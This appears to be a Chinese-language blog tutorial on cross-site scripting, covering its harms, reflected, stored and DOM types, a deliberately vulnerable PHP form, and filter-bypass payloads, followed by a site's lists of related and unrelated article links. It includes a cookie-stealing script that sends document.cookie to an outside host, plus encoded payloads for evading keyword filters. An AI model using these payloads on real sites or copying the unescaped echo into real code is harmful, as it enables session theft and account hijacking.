概念:

XSS 攻击:跨站脚本攻击 (Cross Site Scripting),为不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆。故将跨站脚本攻击缩写为 XSS。

XSS 是一种经常出现在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括 HTML 代码和客户端脚本。

攻击者利用 XSS 漏洞旁路掉访问控制——例如同源策略 (same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的 phishing 攻击而变得广为人知。

对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的 “缓冲区溢出攻击 “,而 JavaScript 是新型的 “ShellCode”。

XSS 攻击的危害包括:

盗取各类用户帐号权限 (控制所盗窃权限数据内容),如机器登录帐号、用户网银帐号、各类管理员帐号

控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

基于 XSS 的跨站业务请求 (如:非法转账、非法下单、非法转载 / 发表内容、发送电子邮件、利用管理员身份提权挂马、控制受害者机器向其它网站发起攻击等)

形成持久化 APT 攻击,长期控制网站业务中枢

利用跨站业务形成蠕虫病毒式传播

劫持网站,劫持后可用于钓鱼、伪装、跳转、挂广告等,属挂马类型

XSS 跨站脚本,是一种 Web 安全漏洞,有趣是是他并不像 SQL 注入等攻击手段攻击服务端,本身对 Web 服务器没有危害,攻击的对象是客户端,使用浏览器访问这些恶意地址的网民。

XSS 漏洞给一些开发人员是感觉就是鸡肋漏洞,不属于漏洞。说鸡肋也并不是那么鸡肋,我们用实例来看一下

Php Code:

<!DOCTYPE html> <html> <head> <title>姓名提交</title> </head> <body> <form action="" method="get"> 名字:<input type="text" name="name"> <input type="submit" value="提交"> </form> </body> </html> <?php echo '你的用户名:'.@$_GET['name']; ?>

Payload

<script>alert(/xss/)</script>

以上代码使用$_GET[‘name’]获取用户输入的 name 变量,然后使用 echo 输出在页面上。正常输入,应该显示我输入的内容在页面上,

这是最基本的一串脚本代码,用于测试是否存在 XSS 漏洞。这串代码被放到了  标签里,被当做了一个弹窗去执行。明显可见脱离了原本开发者的本意。说到这里应该都理解 XSS 了,XSS 漏洞就是没有正确的过滤数据提交的问题

XSS 的分类

1. 反射性 XSS

反射性,简单说,就是要用户去点击,点了我才执行响应的命令。这种类型的 XSS 攻击是最常见的。明显特征就是把恶意脚本提交到 URL 地址的参数里,比如上面所讲的那个例子。

反射性 XSS 只执行一次,且需要用户触发。

2. 储存性 XSS

储存性 XSS 也就比较好理解了,就是持久性的 XSS,服务端已经接收了,并且存入数据库,当用户访问这个页面时,这段 XSS 代码会自己触发,不需要有客户端去手动触发操作。

3. DOM XSS

简单理解 DOM XSS 就是出现在 javascript 代码中的 xss 漏洞,不需要服务端交互,只发生在客户端传输数据的时候。

XSS 漏洞检测 Poc

1. 标准的 xss 漏洞测试代码

<script>alert('xss')</script>

2. img 图片标记属性跨站攻击代码

<img src="javascript:alert(/xss/)"></img> <img dynsrc="javascript:alert('xss')">

3. 无需 “<>”,利用 html 标记事件属性跨站

<img src="" onerror=alert("xss")>

4. 空格与回车符转换

<img src="Jav ascript:alert('xss')"> <img src="Jav ascript:alert('xss')"> <img src="Jav ascript:alert('xss')">

5. 10 进制转换

<img src="&#74&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41">

储存性 XSS

它与反射型 XSS 最大的不同就是服务器再接收到我们的恶意脚本时会将其做一些处理,例如储存到数据库中,然后当我们再次访问相同页面时,将恶意脚本从数据库中取出并返回给浏览器执行。

这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型 XSS 的危害会更大。

A 用户插入 数据库接受并且保存下来  B 用户访问到该页面 也能看到弹窗  CDFHG 用户都能看到。

如果 A 插入的恶意劫持代码,那么后面的用户都会被中枪。全范围的扫射攻击,这个过程一般而言只要用户访问这个界面就行了,不像反射型 XSS,需要访问特定的 URL 或者用户去手动点击触发。

储存性 XSS 多存在于留言板等地方

XSS 危害

1. 页面重定向

<script>window.location='http://akulaku.com/'</script>

就是当用户浏览到此页面的时候,就跳转到指定的网站去了

2. cookie 获取

<script>new Image().src="http://192.168.0.8/xss.php?output="+document.cookie;</script>或者Xss 平台,可以看到图片是裂开的那种样子,我们指定的图片地址根本不存在,所以 onerror 里的代码也能得到执行。

脚本编码的绕过方式,是针对关键词过滤所出发的。有的程序员,对代码中的关键词 比如 script 进行过滤,这个时候就可以用到编码了,尝试编码后再进行插入。比如,alert(1) 编码过后就是:

`\u0061\u006c\u0065\u0072\u0074(1)`

那么执行的工具语句也就是:`<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>`

等好多利用方式!

XSS 漏洞介绍的更多相关文章

  1. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  2. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  3. 新浪微博的XSS漏洞攻击过程详解

    今天晚上(2011年6月28日),新浪微博出现了一次比较大的XSS攻击事件.大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉 ...

  4. (汉化改进作品)BruteXSS:Xss漏洞扫描脚本

    今天给大家进行汉化改进的事一款脚本工具:BruteXSS,这款脚本能自动进行插入XSS,而且可以自定义攻击载荷. 该脚本也同时提供包含了一些绕过各种WAF(Web应用防护系统)的语句.   0×01简 ...

  5. 快速找出网站中可能存在的XSS漏洞实践

    笔者写了一些XSS漏洞的挖掘过程记录下来,方便自己也方便他人. 一.背景 在本篇文章当中会一permeate生态测试系统为例,笔者此前写过一篇文章当中笔者已经讲解如何安装permeate渗透测试系统, ...

  6. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  7. 快速找出网站中可能存在的XSS漏洞实践(一)

    一.背景 笔者最近在慕课录制了一套XSS跨站漏洞 加强Web安全视频教程,课程当中有讲到XSS的挖掘方式,所以在录制课程之前需要做大量实践案例,最近视频已经录制完成,准备将这些XSS漏洞的挖掘过程记录 ...

  8. 【11.18总结】从SAML出发在重定向中发现的XSS漏洞

    Write-up地址:How I Discovered XSS that Affects around 20 Uber Subdomains 作者:fady mohammed osman 总算回家了, ...

  9. XSS漏洞攻击原理与解决办法

    转自:http://www.frostsky.com/2011/10/xss-hack/ 对于的用户输入中出现XSS漏洞的问题,主要是由于开发人员对XSS了解不足,安全的意识不够造成的.现在让我们来普 ...

随机推荐

  1. Java作业十二(2017-11-13)

    /*继承与抽象类*/ package com.baidu.www; abstract class Person { private String name; private int age; publ ...

  2. [.net 面向对象程序设计深入](36)Redis——基础

    [.net 面向对象程序设计深入](36)Redis——基础 很长一段时间没更新博客了,坚持做一件事,真不是件容易的事,后面我会继续尽可能的花时间更新完这个系列文章. 因这个系列的文章涉及的范围太大了 ...

  3. JS闭包解析

    三点注意事项 JS作用域传送门 JS没有块级作用域,只有全局作用域和局部作用域(函数作用域). JS中的作用域链,内部的作用域可以访问到外部作用域中的变量和方法,而外部作用域不能访问内部作用域的变量和 ...

  4. [Swift]LeetCode293. 翻转游戏 $ Flip Game

    You are playing the following Flip Game with your friend: Given a string that contains only these tw ...

  5. [Swift]LeetCode572. 另一个树的子树 | Subtree of Another Tree

    Given two non-empty binary trees s and t, check whether tree t has exactly the same structure and no ...

  6. [Swift]LeetCode991. 坏了的计算器 | Broken Calculator

    On a broken calculator that has a number showing on its display, we can perform two operations: Doub ...

  7. HTML入门教程,多年心血总结,一看就会

    笔者在武汉蚂蹄软件服务中心做软件开发多年,最近花一天时间总结出一套HTML入门级的教程,全篇没有任何废话,全部是精华,希望对你入门web开发有一定的帮助. HTML基本格式 <html> ...

  8. Python内置函数(38)——list

    英文文档: class list([iterable]) Rather than being a function, list is actually a mutable sequence type, ...

  9. CDN边缘节点容器调度实践(上)

    又拍云容器云是基于 Docker 的分布式计算资源网,节点分散在全国各地及海外,提供电信.联通.移动和多线网络,融合微服务.DevOps 理念,满足精益开发.运维一体化,大幅降低分布式计算资源构建复杂 ...

  10. ECMAScript5.1的运算符、类型转换总结

    一.运算符优先级 从高到低 运算符 说明 () 圆括号 . [] new(带参数列表) 字段访问.数组索引.new(带参数列表) () new(无参数列表) 函数调用,无参数列表 ++(后置递增) - ...